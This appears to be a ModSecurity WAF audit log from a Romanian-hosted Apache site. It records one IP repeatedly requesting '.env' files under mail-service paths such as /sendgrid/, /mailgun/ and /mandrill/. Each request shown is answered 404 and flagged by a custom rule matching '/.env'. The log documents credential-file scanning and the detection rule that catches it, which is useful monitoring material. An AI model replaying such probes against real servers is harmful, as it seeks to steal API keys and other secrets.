Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/smtp/.env"] [unique_id "aqYMJmM7dE9KgIIOpQhd1QAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266982300837 126374 (- - -)
Stopwatch2: 1789266982300837 126374; combined=4562, p1=232, p2=4266, p3=0, p4=0, p5=64, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--df558c19-Z--
--74290d48-A--
[13/Sep/2026:05:36:23.961190 +0300] aqYMJysVWymXUono-eRQugAAABI 34.175.231.24 53412 127.0.0.1 7081
--74290d48-B--
GET /mailing/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--74290d48-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--74290d48-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailing/.env"] [unique_id "aqYMJysVWymXUono-eRQugAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266983837249 124017 (- - -)
Stopwatch2: 1789266983837249 124017; combined=4134, p1=247, p2=3834, p3=0, p4=0, p5=53, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74290d48-Z--
--cf4b1f11-A--
[13/Sep/2026:05:36:26.015270 +0300] aqYMKWM7dE9KgIIOpQhd2AAAAMU 34.175.231.24 39426 127.0.0.1 7081
--cf4b1f11-B--
GET /notifications/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--cf4b1f11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cf4b1f11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/notifications/.env"] [unique_id "aqYMKWM7dE9KgIIOpQhd2AAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266985903494 111832 (- - -)
Stopwatch2: 1789266985903494 111832; combined=4431, p1=326, p2=4040, p3=0, p4=0, p5=65, sr=190, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cf4b1f11-Z--
--adf0dd59-A--
[13/Sep/2026:05:36:27.626784 +0300] aqYMK2M7dE9KgIIOpQhd2QAAAMg 34.175.231.24 39432 127.0.0.1 7081
--adf0dd59-B--
GET /notify/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--adf0dd59-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--adf0dd59-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/notify/.env"] [unique_id "aqYMK2M7dE9KgIIOpQhd2QAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266987486488 140359 (- - -)
Stopwatch2: 1789266987486488 140359; combined=7287, p1=1346, p2=5888, p3=0, p4=0, p5=53, sr=174, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--adf0dd59-Z--
--e9d35a0f-A--
[13/Sep/2026:05:36:29.352216 +0300] aqYMLWM7dE9KgIIOpQhd2wAAAMk 34.175.231.24 39464 127.0.0.1 7081
--e9d35a0f-B--
GET /sender/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e9d35a0f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e9d35a0f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sender/.env"] [unique_id "aqYMLWM7dE9KgIIOpQhd2wAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266989221081 131195 (- - -)
Stopwatch2: 1789266989221081 131195; combined=4272, p1=235, p2=3977, p3=0, p4=0, p5=60, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e9d35a0f-Z--
--62b9cf68-A--
[13/Sep/2026:05:36:30.888739 +0300] aqYMLmM7dE9KgIIOpQhd3AAAANc 34.175.231.24 39468 127.0.0.1 7081
--62b9cf68-B--
GET /campaign/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--62b9cf68-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--62b9cf68-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/campaign/.env"] [unique_id "aqYMLmM7dE9KgIIOpQhd3AAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266990767157 121658 (- - -)
Stopwatch2: 1789266990767157 121658; combined=4690, p1=308, p2=4278, p3=0, p4=0, p5=103, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62b9cf68-Z--
--5921e468-A--
[13/Sep/2026:05:36:32.830067 +0300] aqYMMGM7dE9KgIIOpQhd3wAAANE 34.175.231.24 39484 127.0.0.1 7081
--5921e468-B--
GET /newsletter/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--5921e468-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5921e468-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/newsletter/.env"] [unique_id "aqYMMGM7dE9KgIIOpQhd3wAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266992706187 123934 (- - -)
Stopwatch2: 1789266992706187 123934; combined=4377, p1=216, p2=4061, p3=0, p4=0, p5=99, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5921e468-Z--
--0f209878-A--
[13/Sep/2026:05:36:34.722834 +0300] aqYMMmM7dE9KgIIOpQhd4AAAANY 34.175.231.24 39496 127.0.0.1 7081
--0f209878-B--
GET /ses/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0f209878-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0f209878-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ses/.env"] [unique_id "aqYMMmM7dE9KgIIOpQhd4AAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266994597787 125111 (- - -)
Stopwatch2: 1789266994597787 125111; combined=4255, p1=274, p2=3924, p3=0, p4=0, p5=56, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0f209878-Z--
--e2420105-A--
[13/Sep/2026:05:36:36.289672 +0300] aqYMNGM7dE9KgIIOpQhd4gAAAMY 34.175.231.24 47418 127.0.0.1 7081
--e2420105-B--
GET /sendgrid/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e2420105-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e2420105-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sendgrid/.env"] [unique_id "aqYMNGM7dE9KgIIOpQhd4gAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266996162865 126864 (- - -)
Stopwatch2: 1789266996162865 126864; combined=4342, p1=209, p2=4066, p3=0, p4=0, p5=66, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e2420105-Z--
--c93cd556-A--
[13/Sep/2026:05:36:38.205660 +0300] aqYMNmM7dE9KgIIOpQhd4wAAAME 34.175.231.24 47422 127.0.0.1 7081
--c93cd556-B--
GET /sparkpost/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c93cd556-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c93cd556-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sparkpost/.env"] [unique_id "aqYMNmM7dE9KgIIOpQhd4wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266998074986 130746 (- - -)
Stopwatch2: 1789266998074986 130746; combined=10743, p1=2419, p2=8242, p3=0, p4=0, p5=81, sr=237, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c93cd556-Z--
--8311647f-A--
[13/Sep/2026:05:36:39.872054 +0300] aqYMN2M7dE9KgIIOpQhd5QAAAMU 34.175.231.24 47440 127.0.0.1 7081
--8311647f-B--
GET /postmark/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8311647f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8311647f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/postmark/.env"] [unique_id "aqYMN2M7dE9KgIIOpQhd5QAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266999752774 119352 (- - -)
Stopwatch2: 1789266999752774 119352; combined=4642, p1=238, p2=4342, p3=0, p4=0, p5=62, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8311647f-Z--
--df572569-A--
[13/Sep/2026:05:36:41.744351 +0300] aqYMOWM7dE9KgIIOpQhd5gAAAMg 34.175.231.24 47448 127.0.0.1 7081
--df572569-B--
GET /mailgun/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--df572569-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--df572569-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailgun/.env"] [unique_id "aqYMOWM7dE9KgIIOpQhd5gAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267001611903 132514 (- - -)
Stopwatch2: 1789267001611903 132514; combined=7194, p1=622, p2=6507, p3=0, p4=0, p5=65, sr=236, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--df572569-Z--
--8325e93a-A--
[13/Sep/2026:05:36:43.118244 +0300] aqYMOmM7dE9KgIIOpQhd5wAAAMw 34.175.231.24 47456 127.0.0.1 7081
--8325e93a-B--
GET /mandrill/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8325e93a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8325e93a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mandrill/.env"] [unique_id "aqYMOmM7dE9KgIIOpQhd5wAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267002995034 123280 (- - -)
Stopwatch2: 1789267002995034 123280; combined=5436, p1=301, p2=4378, p3=0, p4=0, p5=757, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8325e93a-Z--
--84e5547c-A--
[13/Sep/2026:05:36:44.672268 +0300] aqYMPEwu1RSkptiiNIXtvAAAAJU 34.175.231.24 47474 127.0.0.1 7081
--84e5547c-B--
GET /mailjet/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--84e5547c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--84e5547c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailjet/.env"] [unique_id "aqYMPEwu1RSkptiiNIXtvAAAAJU"]
